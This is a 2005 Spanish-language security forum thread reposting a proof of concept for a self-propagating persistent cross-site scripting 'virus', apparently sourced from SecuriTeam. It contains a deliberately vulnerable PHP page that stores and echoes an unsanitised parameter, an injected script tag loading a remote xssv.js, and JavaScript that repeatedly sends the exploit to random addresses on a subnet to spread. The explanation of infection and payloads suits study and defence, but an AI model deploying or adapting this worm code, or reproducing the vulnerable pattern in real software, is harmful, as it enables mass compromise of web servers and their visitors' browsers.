elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 09:22  


Tema destacado: Sigue las noticias más importantes de elhacker.net en ttwitter!

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  cross-site scripting VIRUS! (XSS)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: cross-site scripting VIRUS! (XSS)  (Leído 945 veces)
mousehack


Desconectado Desconectado

Mensajes: 1.142

Ex-Colaborador....!!!!!!XD


Ver Perfil
cross-site scripting VIRUS! (XSS)
« en: 12 Octubre 2005, 20:58 »

Hasta la fecha, el XSS nunca no se ha utilizado para generar virus. . Los virus de XSS podrían tener un impacto significativo para la continuidad del Internet, incluyendo distributed denial of service (DDOS), del Spam y de la difusión de Exploits del browser. Esto es particularmente relevante con la sofisticación de aumento de los web browsers y el renombre cada vez mayor de usos basados en aplicaciones tales como Wikis y Blogs.

Sinteticamente, el XSS se puede dividir en dos áreas: permanente y transitorio. XSS transitorio retorna inmediatamente y no permanece en el servidor. Por el contrario, XSS permanente, permanecerá en el servidor y retornara a cualquier browser que solicite la página infectada.

Prueba del concepto:
La prueba de concepto siguiente demuestra un virus de XSS. Ilustra  un XSS permanente dentro de una web. En este caso, la vulnerabilidad es explotable vía una  ¨get request¨, que permite que un virus sea creado.Cuando este código es ejecutado por los browsers , da lugar a su infección.

Una página , con un XSS permanente ,hecha de PHP se puede infectar con un virus. La página acepta un valor del parámetro (param) y lo escribe a un archivo (file.txt). Este archivo entonces retorna ante la peticion del browser. El archivo contendrá el valor previo del parámetro "param". Si no se pasa ningún parámetro exhibirá el archivo sin actualizar.

Código:
Web Application: index.php

<?php
  $p=$HTTP_GET_VARS[ param ];
  $filename = ./file.txt ;

  if ($p != ) {
    $handle=fopen($filename, wb );
    fputs($handle, $p);
    fclose($handle);
  }

  $handle = fopen($filename, r );
  $contents = fread($handle, filesize($filename));
  fclose($handle);

  print $contents;
?>

Una web, entonces, fue infectada con el código que recupera un archivo javascript y lo ejecuta.
Para simplificar, un archivo javascript (xssv.jsp) como el siguiente:

Código:
< iframe name="iframex" id="iframex" src="hidden" style="display:none"></iframe> < script SRC="http://<webserver>/xssv.js"></script>


Para auto-propagarse se usa un iframe que de vez en cuando es recargado usando la funcion loadIframe () .El  IP ADDRESS del iframe es seleccionado al azar dentro de la subred de 10.0.0.0/24 vía la función get_random_ip (). El virus XSS usa una combinación de estas dos funciones y la invocación continua periódica que usa la funcion setInterval ().

Javascipt: xssv.jsp
Código:
function loadIframe(iframeName, url) {
  if ( window.frames[iframeName] ) {
    window.frames[iframeName].location = url;
    return false;
  }
  else return true;
}

function do_request() {
  var ip = get_random_ip();
  var exploit_string = '< iframe name="iframe2" id="iframe2" src="hidden" style="display:none"></iframe> < script SRC="http://<webserver>/xssv.js"></script>';

  loadIframe('iframe2', "http://" + ip + "/index.php?param=" + exploit_string);
}

function get_random()
{
  var ranNum= Math.round(Math.random()*255);
  return ranNum;
}

function get_random_ip()
{
  return "10.0.0."+get_random();
}

setInterval("do_request()", 10000);

Diferencias Con los Virus Convencionales:
Los virus convencionales residen y se ejecutan en el mismo sistema. Los virus de XSS separan estos dos requisitos en una relación simbiótica entre el servidor y el browser. La ejecución ocurre en el browser del cliente y el código reside en el servidor.
La falta de discriminación de la plataforma también distingue un virus de XSS de sus contrapartes convencionales. Esto es debido a la encapsulación dentro del HTML y del protocolo de HTTP/HTTPS. Estos estándares se apoyan en la mayoría de los browsers que funcionan en una variedad de sistemas operativos, haciendo los virus XSS de  plataforma independiente. Esta independencia de la plataforma aumenta el número de los usos potenciales de aplicaciones web que pueden ser infectados.

Infección:
la infección del virus XSS ocurre en dos etapas y generalmente en por lo menos dos dispositivos. Como tal, hay dos clases de infecciones que trabajen simbioticamente.

El servidor se infecta con el código que no ejecuta. La segunda etapa es infección del browser. El código inyectado se carga del sitio en el web browser y se ejecuta. La ejecución entonces busca los servidores nuevos que se explotarán y potencialmente ejecuta su carga útil. Típicamente, habrá un servidor infectando a muchos browsers.

Carga útil:
Como virus convencionales, los virus de XSS son capaces de entregar cargas útiles. Las cargas útiles serán ejecutadas en el browser y tener la restricción del código HTML. Es decir, la carga útil puede realizar funciones HTML, incluyendo javascript.

Mientras que esto plantea limitaciones, los virus de XSS siguen siendo capaces de actividad maliciosa. Por ejemplo, la carga útil podría entregar un ataque de DDOS, exhibir Spam o contener exploit del browser.

Fuente:securiteam

Salu2
 
En línea



VISITEN MI BLOG PERSONAL....
http://mousehack.blogspot.com/ ...XD
-sagitari-


Desconectado Desconectado

Mensajes: 1.640


:D


Ver Perfil WWW
Re: cross-site scripting VIRUS! (XSS)
« Respuesta #1 en: 12 Octubre 2005, 21:07 »

Grax pr la   info
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Los Poderes Secretos de XSS (Cross Site Scripting) « 1 2 3 »
Tutoriales - Documentación
sirdarckcat 30 37,545 Último mensaje 1 Diciembre 2009, 08:36
por —Traffic.
Cross Site Scripting
Nivel Web
pelonms7 6 1,342 Último mensaje 7 Marzo 2011, 03:20
por pelonms7
DOM-based Cross-Site Scripting
Nivel Web
.:UND3R:. 2 1,872 Último mensaje 24 Noviembre 2011, 16:04
por WHK
Cross-site scripting en Skype
Noticias
wolfbcn 4 1,060 Último mensaje 18 Julio 2011, 12:35
por WHK
Cross Site Scripting en jQuery 1.6
Noticias
wolfbcn 0 1,075 Último mensaje 11 Septiembre 2011, 02:16
por wolfbcn
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines